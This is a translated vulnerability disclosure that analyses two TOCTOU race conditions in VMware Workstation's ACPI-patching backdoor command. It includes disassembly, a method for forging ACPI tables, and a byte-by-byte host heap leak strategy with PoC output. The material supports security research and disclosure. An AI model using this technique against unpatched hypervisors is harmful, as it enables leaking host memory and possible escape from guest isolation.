深入分析VMware Workstation中的两个TOCTOU漏洞
2020-11-08 10:40:00 Author: www.4hou.com(查看原文) 阅读量:242 收藏

10月20日,VMware发布了一个安全补丁,修复了VMware ESXi、Workstation、Fusion和NSX-T中的六个安全漏洞。在这些漏洞中,其中有两个属于TOCTOU(Time-of-check Time-of-use,TOCTOU)型竞态条件漏洞。既然现在补丁已经出来了,我终于可以为大家详细介绍这两个TOCTOU漏洞及其对VMware系统的影响了。

简介

我们知道,VMware Workstation是利用修订版的PhoenixBIOS 4.0 Release 6来模拟传统的BIOS的。在分析BIOS.440.ROM镜像的过程中,我们发现其中的一处修订为引入了VMware后门。需要指出的是,这里的“后门”并没有任何恶意的意味。相反,该“后门”指的是虚拟机与管理程序之间的一种合法的通信渠道。就这里来说,后门是通过一个模拟的I/O端口实现的。虚拟机通过后门发送消息,所需指令如下所示:

BIOS_F:358B backdoor        proc near               
BIOS_F:358B                 mov     dx, 5658h
BIOS_F:358E                 mov     eax, 564D5868h
BIOS_F:3594                 in      eax, dx
BIOS_F:3596                 retn
BIOS_F:3596 backdoor        endp

通过对后门调用和来自open-vm-tools中的相关定义进行交叉引用,我们可以断定在ROM镜像中使用了以下命令集:

BDOOR_CMD_GETMEMSIZE
BDOOR_CMD_GETMHZ
BDOOR_CMD_ISACPIDISABLED
BDOOR_CMD_PATCH_ACPI_TABLES
BDOOR_CMD_GETUUID
BDOOR_CMD_GETDISKGEO
BDOOR_CMD_OSNOTFOUND
BDOOR_CMD_APMFUNCTION

对于这些命令来说,每一个都对应于一个后门函数, 这些函数是在宿主机上实现的, 通过将适当的值传递给上面所示的模拟端口,可以从客户机调用这些后门函数。

其中,BDOOR_CMD_PATCH_ACPI_TABLES是最有分析价值的一个函数,因为用于解析来自客户机内存的ACPI表。下面的分析是基于VMware Workstation for Linux 15.5.6版本的。

对于实现BDOOR_CMD_PATCH_ACPI_TABLES命令的后门函数来说,它首先会检查客户机中安装的VMware Tools的版本,以及发起调用的客户机处理器的当前权限级别(CPL)。

.text:00000000001D9AF0 BackdoorPatchACPITables proc near       
.text:00000000001D9AF0
.text:00000000001D9B14                 call    Get_VMTools_Version
.text:00000000001D9B19                 test    eax, eax        ; check if vmware tools installed
.text:00000000001D9B1B                 jnz     short vmtools_available
.text:00000000001D9B50 vmtools_available:                      
.text:00000000001D9B50                 call    Get_VMTools_Version
.text:00000000001D9B55                 cmp     eax, 17FFh      ; check if vmware tools version < 6.0.0
.text:00000000001D9B5A                 ja      short return
.text:00000000001D9B5C                 call    Check_CPL0      ; check if invoked at CPL 0
.text:00000000001D9B61                 test    al, al
.text:00000000001D9B63                 jz      short return

Get_VMTools_Version函数将VMware Tools版本作为编码后的整数形式进行返回,该整数在open-vm-tools中定义如下所示:

#define TOOLS_VERSION_UINT(MJR, MNR, BASE) (((MJR) << 10) + ((MNR) << 5) + (BASE))

仅当客户机报告的VMware Tools版本低于6.0.0时,BDOOR_CMD_PATCH_ACPI_TABLES命令才处于可用状态。另外,还要进行相应的权限检查,以确保是从CPL 0(也称为ring 0)特权级别调用了该命令,这是客户机系统中的最高特权级别。之所以这样做,可能是只允许客户机的引导代码使用该后门命令。通过权限检查后,它将以16字节为边界,扫描从0xE0000到0xFFFFF处的客户机的BIOS高址内存区域,查找签名“RSD PTR”,以定位Root System Description Pointer(RSDP)结构体。

.text:00000000001D9B73                 mov     r12d, 0E0000h
.text:00000000001D9B79                 lea     rbp, [r13+24h]
.text:00000000001D9B7D                 nop     dword ptr [rax]
.text:00000000001D9B80
.text:00000000001D9B80 loc_1D9B80:                             
.text:00000000001D9B80                 mov     edx, 24h
.text:00000000001D9B85                 mov     rsi, r13
.text:00000000001D9B88                 mov     rdi, r12
.text:00000000001D9B8B                 mov     r8d, 1
.text:00000000001D9B91                 mov     ecx, 40h
.text:00000000001D9B96                 call    Read_GuestMem
.text:00000000001D9B9B                 mov     edx, 8          ; n
.text:00000000001D9BA0                 mov     rdi, r13        ; s1
.text:00000000001D9BA3                 lea     rsi, aRsdPtr    ; "RSD PTR "
.text:00000000001D9BAA                 call    _memcmp
.text:00000000001D9BAF                 test    eax, eax

在此之后,它还会解析ACPI数据结构的其余部分,以定位系统差异描述表(Differentiated System Description Table,DSDT)。

text:00000000001D9BE9                 lea     rsi, aRsdt      ; "RSDT"
text:00000000001D9BF0                 mov     rcx, rbp
text:00000000001D9BF3                 call    ValidateAndGetACPITable
 
text:00000000001D9C24                 lea     rsi, aFacp      ; "FACP"
text:00000000001D9C2B                 call    ValidateAndGetACPITable
text:00000000001D9C30                 test    al, al
 
text:00000000001D9C63                 lea     rsi, aDsdt      ; "DSDT"
text:00000000001D9C6A                 call    ValidateAndGetACPITable
text:00000000001D9C6F                 test    al, al

一旦找到DSDT,该后门函数就会通过查找_S1并用foo替换之来修补与S1休眠状态相关的AML代码

.text:00000000001D9CCA loc_1D9CCA:                             
.text:00000000001D9CCA          cmp     [rsp+0D8h+var_D3], 5Fh ; '_'
.text:00000000001D9CCF          jnz     short continue
.text:00000000001D9CD1          cmp     [rsp+0D8h+var_D3+1], 53h ; 'S'
.text:00000000001D9CD6          jnz     short continue
.text:00000000001D9CD8          cmp     [rsp+0D8h+var_D3+2], 31h ; '1'
.text:00000000001D9CDD          jnz     short continue
.text:00000000001D9CDF          sub     eax, 1
.text:00000000001D9CE2          jnz     loc_1D9E69
.text:00000000001D9CE8          add     r12, [rsp+0D8h+var_B8]
.text:00000000001D9CED          mov     word ptr [r12], 'OF'
.text:00000000001D9CF4          mov     byte ptr [r12+2], 4Fh ; 'O'

漏洞测试

为了测试这一点,我们需要在向宿主机报告一个低于6.0.0版本的VMware Tools之后转储DSDT表,并重新引导客户机。通过open-vm-tools,我们就可以发现“tools.set.version”就是设置该信息的GuestRPC命令。

$ sudo cat /sys/firmware/acpi/tables/DSDT > DSDT
$ iasl -d DSDT
 
Intel ACPI Component Architecture
ASL+ Optimizing Compiler/Disassembler version 20180105
Copyright (c) 2000 - 2018 Intel Corporation
 
Input file DSDT, Length 0x2148B (136331) bytes
ACPI: DSDT 0x0000000000000000 02148B (v01 PTLTD  Custom   06040000 MSFT 03000001)
Pass 1 parse of [DSDT]
Pass 2 parse of [DSDT]
Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions)
 
Parsing completed
Disassembly completed
ASL Output:    DSDT.dsl - 1296923 bytes
 
$ vmware-rpctool "tools.set.version 4096"
$ reboot

重新启动后,我们再次转储DSDT表并比较ASL代码的差异。

* Original Table Header:
   *     Signature        "DSDT"
   *     Length           0x0002148B (136331)
   *     Revision         0x01 **** 32-bit table (V1), no 64-bit math support
-  *     Checksum         0x9E
+ *     Checksum         0x9D
   *     OEM ID           "PTLTD "
   *     OEM Table ID     "Custom  "
   *     OEM Revision     0x06040000 (100925440)
@@ -2524,7 +2524,7 @@
         0x05, 
         0x05
     })
-    Name (_S1, Package (0x02)  // _S1_: S1 System State
+    Name (FOO, Package (0x02)
     {
         0x04, 
         0x04

我们可以看到,S1睡眠状态已修复,同时,表校验和也进行了相应的更新。

漏洞分析

我在分析过程中发现了两个截然不同的TOCTOU漏洞:一个是受限的OOB(Out-Of-Bound)写漏洞,另一个是可能导致信息泄露的OOB读漏洞。

在DSDT表中,前面部分是一个ACPI头部,后面是AML字节码。其中,ACPI头部如下所示:

struct acpi_table_header {
        char signature[ACPI_NAMESEG_SIZE];         /* ASCII table signature */
        u32 length;                                /* Length of table in bytes, including this header */
        u8 revision;                               /* ACPI Specification minor version number */
        u8 checksum;                               /* To make sum of entire table == 0 */
        char oem_id[ACPI_OEM_ID_SIZE];             /* ASCII OEM identification */
        char oem_table_id[ACPI_OEM_TABLE_ID_SIZE]; /* ASCII OEM table identification */
        u32 oem_revision;                          /* OEM revision number */
        char asl_compiler_id[ACPI_NAMESEG_SIZE];   /* ASCII ASL compiler vendor ID */
        u32 asl_compiler_revision;                 /* ASL compiler version */
};

在这个头部中,我们最感兴趣的字段是length和checksum字段。首先,位于0x01D9C6A处的ValidateAndGetACPITable函数会对该表的长度和校验和进行检查:

.text:00000000001D9910 ValidateAndGetACPITable proc near
.text:00000000001D991B                 mov     edx, 4          ; length to read
.text:00000000001D9920                 push    r13
.text:00000000001D9922                 push    r12
.text:00000000001D9924                 mov     r12d, edi
.text:00000000001D9927                 push    rbp
.text:00000000001D9928                 lea     rdi, [r12+4]    ; physical address of table + 4, this points to the length field in ACPI header
. . .
.text:00000000001D994D                 lea     rsi, [rsp+68h+table_size] ; buffer for writing the content
.text:00000000001D9952                 call    ReadGuestPhyAddr
.text:00000000001D9957                 mov     r8d, [rsp+68h+table_size]
.text:00000000001D995C                 lea     eax, [r8-1]
.text:00000000001D9960                 cmp     eax, 0FFFFFFh
.text:00000000001D9965                 jbe     short map_guestmem
. . .
.text:00000000001D99B8 map_guestmem:                           
.text:00000000001D99B8                 cmp     r14b, 1
.text:00000000001D99BC                 mov     esi, r8d        ; length to read from guest
.text:00000000001D99BF                 mov     rdi, r12        ; physical address of ACPI table
. . .
.text:00000000001D99D2                 call    MapGuestPhyAddr
.text:00000000001D99D7                 cmp     dword ptr [rbx+0Ch], 1
.text:00000000001D99DB                 mov     r12d, [rsp+68h+table_size]
. . .
.text:00000000001D9A10                 cmp     r12d, 35        ; check if length is at least ACPI table header size
.text:00000000001D9A14                 jbe     invalid_size
.text:00000000001D9A1A                 mov     eax, dword ptr [rsp+68h+acpi_table.signature]
.text:00000000001D9A1E                 cmp     [rbp+0], eax    ; check table signature
. . .
.text:00000000001D9A70 calc_checksum:                          
.text:00000000001D9A70                 mov     rax, [rbx+10h]
.text:00000000001D9A74                 movzx   eax, byte ptr [rax+rbp] ; read a byte from guest ACPI table
.text:00000000001D9A78
.text:00000000001D9A78 loc_1D9A78:                             
.text:00000000001D9A78                 add     rbp, 1
.text:00000000001D9A7C                 add     r12d, eax
.text:00000000001D9A7F                 cmp     r14d, ebp       ; loop until table size
.text:00000000001D9A82                 jbe     short loc_1D9AD0
.text:00000000001D9A84
.text:00000000001D9A84 loc_1D9A84:                             
.text:00000000001D9A84                 cmp     dword ptr [rbx+0Ch], 1
.text:00000000001D9A88                 jz      short calc_checksum

简单来说,ValidateAndGetACPITable首先从客户机内存中读取ACPI表的长度,然后,根据这个值,将整个表从客户机的物理内存映射到宿主机的内存中。接下来,它对映射内存中的字节进行求和,以计算ACPI校验和,从而检查这个表的完整性。

CVE-2020-3982/ZDI-20-1268

在对这个表进行验证之后,代码将再次从客户机内存中读取ACPI表长度(这一次是通过映射完成的),并在DSDT AML代码中搜索_S1。

.text:00000000001D9C6A                 call    ValidateAndGetACPITable ; DSDT table validated here
.text:00000000001D9C6F                 test    al, al
.text:00000000001D9C71                 jz      return
.text:00000000001D9C77                 mov     eax, [rsp+0D8h+var_BC]
.text:00000000001D9C7B                 lea     r15, [rsp+0D8h+var_CC]
.text:00000000001D9C80                 mov     r13d, 24h ; '$'
.text:00000000001D9C86                 lea     r14, [rsp+0D8h+var_D3]
.text:00000000001D9C8B                 jmp     short loc_1D9C91
.text:00000000001D9C8D
.text:00000000001D9C8D Patch_S1_Sleep_State:                   
.text:00000000001D9C8D                                          
.text:00000000001D9C8D                 add     r13d, 1
.text:00000000001D9C91
.text:00000000001D9C91 loc_1D9C91:                             
.text:00000000001D9C91                 cmp     eax, 1
.text:00000000001D9C94                 jnz     loc_1D9D91
.text:00000000001D9C9A                 mov     rax, [rsp+0D8h+dsdt]
.text:00000000001D9C9F                 mov     esi, [rax+acpi_table_header.length] ; DSDT table fetched from guest after validation

客户机OS可以在两次读取操作之间修改表的大小值,从而获得受限的OOB写原语,从而实现查找_S1并将其替换为FOO的功能。

CVE-2020-3981/ZDI-20-1267

修改了S1睡眠对象后,必须更新头部中的校验和。为了重新计算校验和,代码将再次从客户机内存中检索该表的长度:

.text:00000000001D9CCA                 cmp     [rsp+0D8h+var_D3], 5Fh ; '_'
.text:00000000001D9CCF                 jnz     short Patch_S1_Sleep_State
.text:00000000001D9CD1                 cmp     [rsp+0D8h+var_D3+1], 53h ; 'S'
.text:00000000001D9CD6                 jnz     short Patch_S1_Sleep_State
.text:00000000001D9CD8                 cmp     [rsp+0D8h+var_D3+2], 31h ; '1'
.text:00000000001D9CDD                 jnz     short Patch_S1_Sleep_State
.text:00000000001D9CDF                 sub     eax, 1
.text:00000000001D9CE2                 jnz     loc_1D9E69
.text:00000000001D9CE8                 add     r12, [rsp+0D8h+dsdt]
.text:00000000001D9CED                 mov     word ptr [r12], 'OF'
.text:00000000001D9CF4                 mov     byte ptr [r12+2], 4Fh ; 'O'
.text:00000000001D9CFA
.text:00000000001D9CFA calc_checksum_after_patch:              
.text:00000000001D9CFA                 cmp     [rsp+0D8h+var_BC], 1
.text:00000000001D9CFF                 jnz     loc_1D9E3C
.text:00000000001D9D05                 mov     rax, [rsp+0D8h+dsdt]
.text:00000000001D9D0A                 mov     r13d, [rax+acpi_table_header.length] ; length fetched again from guest memory

如果客户机在该读取操作发生之前增加了该长度字段的值,那么,在校验和计算期间就会发生越界读取问题。

POC代码

虽然这个后门函数只在可信BIOS代码执行期间被调用一次,但它在引导完成之后,它并没有被禁用,甚至对于客户机OS来说,也照样可以继续访问该函数。由于BIOS内存区域是可写的,因此在调用后门之前,客户机可以在地址0xE0000处插入一个伪造的RSDP结构体。由于RSDT的物理地址是在伪造的RSDP结构中设置的,因此,整个ACPI解析都可以被劫持:

struct acpi_table_rsdp {
        char signature[8];         /* ACPI signature, contains "RSD PTR " */
        u8 checksum;               /* ACPI 1.0 checksum */
        /* ... snip ... */
        u32 rsdt_physical_address; /* 32-bit physical address of the RSDT */
        /* ... snip ... */
};

 1.png

图1 劫持ACPI的解析过程

攻击者需要在客户机RAM的末端设置DSDT表,以使得所有OOB访问最终都会在与映射的客户机内存区域相邻的宿主机内存中完成。虽然这个OOB写原语是高度受限的,但在ACPI校验和计算过程中的OOB读原语可以用来泄露客户机内存区域之外的宿主机堆内存中的任意内容。

实际上,ACPI表的校验和就是一个使表中所有字节之和为0(mod 256)的值。考虑到这一点,信息泄露策略应该是一次泄露一个字节。攻击者可以设置DSDT ACPI表头,使length和checksum字段可以从客户机进行访问。此外,由于AML代码位于客户机内存区域的末端,而该区域位于宿主机堆内存的接壤处,所以,客户机是无法访问该区域的。然后,攻击者可以使用竟态条件漏洞触发一个1字节的OOB读取操作,并检查校验和的值是否发生了变化。如果发生了变化,则根据之前的校验和的值和更新后的校验和的值,计算出泄漏的字节。如果经过一定的尝试后,没有发现校验和的值发生任何变化,那么泄露的字节就会被认为是0,这时,攻击者就可以触发一个2字节的OOB读取操作来泄露后续的字节,以此类推。下面给出相应的POC代码:

$ sudo insmod backdoor.ko
$ sudo ./poc
poc: [+] Setting open-vm-tools version to 4.0.0 using tools.set.version
poc: [+] Overwriting BIOS memory mapped @ 0x7fdd12fd5000
poc: [+] Trigerring BDOOR_CMD_GETMEMSIZE to get RAM size...
poc: [+] VM high memory address : 0x80000000
poc: [+] Fake Root System Description Pointer @ 0xE0000
RSD  @ 0x00000000000E0000
    0000: 52 53 44 20 50 54 52 20 73 00 00 00 00 00 00 00  RSD PTR s.......
    0010: 00 60 C5 49                                      .`.I
poc: [+] Fake Root System Description Table @ 0x49C56000
RSDT @ 0x0000000049C56000
    0000: 52 53 44 54 28 00 00 00 00 05 00 00 00 00 00 00  RSDT(...........
    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0020: 00 00 00 00 28 60 C5 49                          ....(`.I
poc: [+] Fake Fixed ACPI Description Table @ 0x49C56028
FACP @ 0x0000000049C56028
    0000: 46 41 43 50 14 01 00 00 00 7C 00 00 00 00 00 00  FACP.....|......
    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0020: 00 00 00 00 00 00 00 00 D8 FF FF 7F 00 00 00 00  ................
    0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0110: 00 00 00 00                                      ....
poc: [+] Fake Differentiated System Description Table @ 0x7FFFFFD8
DSDT @ 0x000000007FFFFFD8
    0000: 44 53 44 54 28 00 00 00 00 C6 00 00 00 00 00 00  DSDT(...........
    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0020: 00 00 00 00 5F 53 31 00                          ...._S1.
poc: [+] Starting thread to change DSDT length during race...
poc: [+] Triggering BDOOR_CMD_PATCH_ACPI_TABLES from CPL 0...
poc: [+] Leaking checksum for 8 bytes adjacent to guest memory mapping...
........................
A5 A5 A5 75 C7 48 48 48
poc: [+] Leaked host memory address : 0x7fae30000020
 
以下是为客户机配置了2GB内存的vmware-vmx进程在宿主机堆内存中的状态:
 
gdb-peda$ vmmap
...
0x00007fadb0000000 0x00007fae30000000 rw-s      /vmem (deleted)
0x00007fae30000000 0x00007fae309ea000 rw-p      mapped
0x00007fae309ea000 0x00007fae34000000 ---p      mapped
...
gdb-peda$ x/10gx 0x00007fae30000000
0x7fae30000000: 0x00007fae30000020      0x0000000000000000
0x7fae30000010: 0x00000000009ea000      0x00000000009ea000
0x7fae30000020: 0x0000000200000000      0x0000000000000001
0x7fae30000030: 0x00007fae30555b30      0x0000000000000000
0x7fae30000040: 0x00007fae30263860      0x00007fae30278e40

小结

实际上,VMware是通过删除用于禁用ACPI S1休眠状态的旧后门调用,来修复Workstation16.0中的安全问题的。虽然VMware将OOB写入漏洞分类为中危漏洞,但理论上讲,攻击者可以利用CVE-2020-3982漏洞来提升权限并在虚拟机监控程序的上下文中执行代码。但是,由于OOB写入漏洞受到高度限制,因此,更可能的结果是虚拟机的vmx进程发生崩溃或虚拟机管理程序的内存堆被损坏。此外,VMSA-2020-0023补丁程序还修复了我的同事Lucas Leong报告的ESXi中的一个可远程利用的安全漏洞,关于该漏洞,我们将在后面专文加以详述。

在此之前,您可以在Twitter上通过@renorobertr关注我,以了解相关漏洞和安全补丁的最新进展。

本文翻译自:https://www.thezdi.com/blog/2020/10/22/detailing-two-vmware-workstation-toctou-vulnerabilities如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/z9M2
如有侵权请联系:admin#unsafe.sh